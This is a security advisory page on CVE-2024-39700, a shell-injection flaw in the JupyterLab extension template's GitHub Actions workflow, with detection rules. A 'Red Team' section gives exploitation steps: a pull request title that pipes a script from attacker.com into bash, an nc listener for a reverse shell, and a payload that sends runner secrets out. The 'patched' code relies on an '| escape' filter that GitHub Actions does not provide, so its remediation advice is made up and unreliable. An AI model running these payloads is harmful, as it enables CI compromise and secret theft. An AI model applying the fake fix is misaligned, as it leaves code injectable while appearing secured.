CVE-2024-39700
Executive Summary
CVE-2024-39700 is a critical Remote Code Execution (RCE) vulnerability (CVSS 10.0) affecting the JupyterLab extension template, specifically the update-integration-tests.yml GitHub Actions workflow. Repositories created with the test option enabled include this vulnerable workflow, which allows an attacker to execute arbitrary commands on the GitHub Actions runner. The vulnerability stems from improper input sanitization in the workflow, enabling injection of malicious code via pull request titles or other user-controlled inputs. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the severity demands immediate attention. No public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a GitHub Actions workflow template. However, it poses a supply chain risk: extension authors using the template may unknowingly introduce the vulnerability into their repositories, potentially compromising their CI/CD pipelines and exposing downstream users to malicious extensions.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The maximum CVSS score reflects the ease of exploitation (no authentication, no user interaction) and the full impact on confidentiality, integrity, and availability. An attacker can execute arbitrary commands on the GitHub Actions runner, potentially exfiltrating secrets, modifying code, or deploying malicious artifacts.
Deep Dive & Mechanics
The vulnerability resides in the update-integration-tests.yml workflow file generated by the JupyterLab extension template. This workflow is designed to automatically update integration tests when a pull request is created. The flaw is in how the workflow processes user-controlled inputs, such as the pull request title or branch name, without proper sanitization.
Specifically, the workflow uses a script that constructs a command string by concatenating user input. For example, a command like echo ${{ github.event.pull_request.title }} could be exploited if the title contains shell metacharacters (e.g., ;, |, $(...)). An attacker can submit a pull request with a malicious title like ; curl http://attacker.com/exfil.sh | bash ;, causing the workflow to execute arbitrary code.
The vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The affected template versions are prior to 4.3.0. The patch involves escaping or validating user inputs within the workflow, ensuring they are treated as data rather than executable code.
Vulnerable vs. Patched Code
Vulnerable Code (pre-4.3.0):
# update-integration-tests.yml (vulnerable snippet)
- name: Run update script
run: |
echo "Updating tests for PR: ${{ github.event.pull_request.title }}"
# The following line is vulnerable to injection
./update-tests.sh "${{ github.event.pull_request.title }}"
Patched Code (4.3.0+):
# update-integration-tests.yml (patched snippet)
- name: Run update script
run: |
echo "Updating tests for PR: ${{ github.event.pull_request.title }}"
# Input is now sanitized using GitHub Actions expression syntax
./update-tests.sh "${{ github.event.pull_request.title | escape }}"
The patch uses the escape filter (or equivalent) to sanitize the input, preventing shell injection. Additionally, the workflow may now use env variables to pass inputs safely.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A GitHub repository using the vulnerable template (pre-4.3.0) with the
testoption enabled. - Ability to create a pull request against that repository.
Exploitation Steps:
- Fork the target repository.
- Create a new branch with a malicious pull request title. Example title:
; curl -s http://attacker.com/payload.sh | bash ; - Open a pull request from your branch to the target repository's main branch.
- The
update-integration-tests.ymlworkflow will trigger automatically. - The malicious title is injected into the shell command, executing the payload.
- The payload can exfiltrate secrets, modify code, or establish persistence.
Lab Setup:
- Use a test GitHub repository with the vulnerable template.
- Set up a listener (e.g.,
nc -lvnp 4444) to capture reverse shell or exfiltrated data. - Create a simple payload script (e.g.,
payload.sh) that sends environment variables to your listener.
Blue Team
Detection:
- Monitor GitHub Actions logs for unusual commands or unexpected output.
- Look for pull requests with suspicious titles containing shell metacharacters (
;,|,$,`). - Alert on workflows that execute commands with user-controlled input without sanitization.
Prevention:
- Immediately upgrade the template to version 4.3.0 or later.
- Review all
update-integration-tests.ymlfiles in repositories for unsanitized inputs. - Temporarily disable GitHub Actions for untrusted pull requests until the upgrade is complete.
- Implement branch protection rules to require review for pull requests from forks.
Indicators of Compromise (IOCs)
- File:
update-integration-tests.ymlwith unsanitized${{ github.event.pull_request.title }}usage. - Network: Outbound connections from GitHub Actions runners to unknown IPs/domains.
- Process: Execution of
curl,wget,bash, or other shell commands with suspicious arguments in workflow logs. - Log Entry: Workflow run logs containing shell metacharacters in the
echoorrunsteps.
Detection Engineering
YARA Rule
rule CVE_2024_39700_JupyterLab_RCE {
meta:
description = "Detects vulnerable update-integration-tests.yml with unsanitized input"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-39700"
strings:
$vuln_pattern = /github\.event\.pull_request\.title[^}]*\}/
$workflow = "update-integration-tests.yml"
condition:
$workflow and $vuln_pattern
}
Sigma Rule
title: CVE-2024-39700 JupyterLab RCE via Pull Request Title
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious pull request titles containing shell metacharacters in GitHub Actions logs
author: Valters IT
date: 2025-04-10
logsource:
category: github_actions
product: github
detection:
selection:
EventID: 'workflow_job'
workflow: 'update-integration-tests.yml'
title|contains:
- ';'
- '|'
- '$(('
- '`'
condition: selection
falsepositives:
- Legitimate use of special characters in PR titles (rare)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-39700 JupyterLab RCE - Suspicious Pull Request Title"; flow:to_server,established; content:"POST"; http_method; content:"/repos/"; http_uri; content:"/pulls"; http_uri; pcre:"/(%3B|%7C|%24%28|%60)/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade the JupyterLab extension template to version 4.3.0 or later.
- Accept overwriting of
update-integration-tests.ymland reapply custom changes. - Temporarily disable GitHub Actions while upgrading.
- Rebase all open pull requests from untrusted users to ensure they use the patched workflow.
Long-term Measures:
- Implement input validation and sanitization in all CI/CD workflows.
- Use GitHub Actions' built-in expression syntax (e.g.,
${{ ... | escape }}) for user inputs. - Regularly audit workflows for injection vulnerabilities.
- Enable GitHub's secret scanning and push protection.
Patch Details:
- Upgrade to template version 4.3.0 (or later) from the official JupyterLab repository.
- If custom changes were made to
update-integration-tests.yml, reapply them after accepting the overwrite.
Valters IT
Securing the digital frontier, one CVE at a time.